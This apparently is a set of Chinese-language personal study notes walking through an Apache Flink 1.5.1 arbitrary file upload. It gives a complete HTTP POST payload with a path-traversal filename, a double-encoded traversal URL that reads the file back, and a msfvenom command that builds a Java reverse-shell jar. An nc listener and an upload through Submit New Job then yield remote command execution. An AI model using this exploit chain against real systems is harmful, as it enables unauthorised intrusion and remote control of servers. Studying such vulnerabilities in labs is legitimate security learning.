以下为个人学习笔记和习题整理
# Apache Flink 文件上传
# 【原理】
Apache Flink 是由 Apache 软件基金会开发的开源流处理框架,其核心是用 Java 和 Scala 编写的分布式流数据流引擎。Flink 以数据并行和流水线方式执行任意流数据程序,Flink 的流水线运行时系统可以执行批处理和流处理程序。此外,Flink 的运行时本身也支持迭代算法的执行。Flink 在 1.5.1 版本中引入了一个 REST handler,这允许攻击者将已上传的文件写入本地任意位置的文件中,并且可通过一个恶意修改的 HTTP 头将这些文件写入到 Flink 1.5.1 可以访问的任意位置。
# 【工具】
- 浏览器
# 【步骤】
访问:http://your-ip:8081 进入 Apache Flink 控制面板:
打开 BUrp 构造 POC,上传文件
POST /jars/upload HTTP/1.1
Host: 192.168.243.189:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477
Content-Length: 250
Origin: http://192.168.243.189:8081
Connection: close
Referer: http://192.168.243.189:8081/
-----------------------------13247690941547071692111317477
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
Content-Type: text/plain
success
-----------------------------13247690941547071692111317477-
此时,我们利用之前的任意文件读取漏洞,读取我们上传的文件,查看是否上传成功。
http://192.168.243.189:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess
我们还可以上传 jar 马实现反弹监听从而远程命令执行
首先我们使用 kali 的 MSF 生成 jar 马:
msfvenom -p java/shell_reverse_tcp lhost=192.168.243. lport=5555 -f jar >/home/kali/Desktop/shell.jar
然后本地机器新建命令行窗口,使用 nc 进行端口监听:
nc -lvvp 5555
最后把生成的 jar 马通过 Submit New Job 模块进行上传:
点击 Submit 即可实现 jar 马反弹监听:
可以执行远程命令: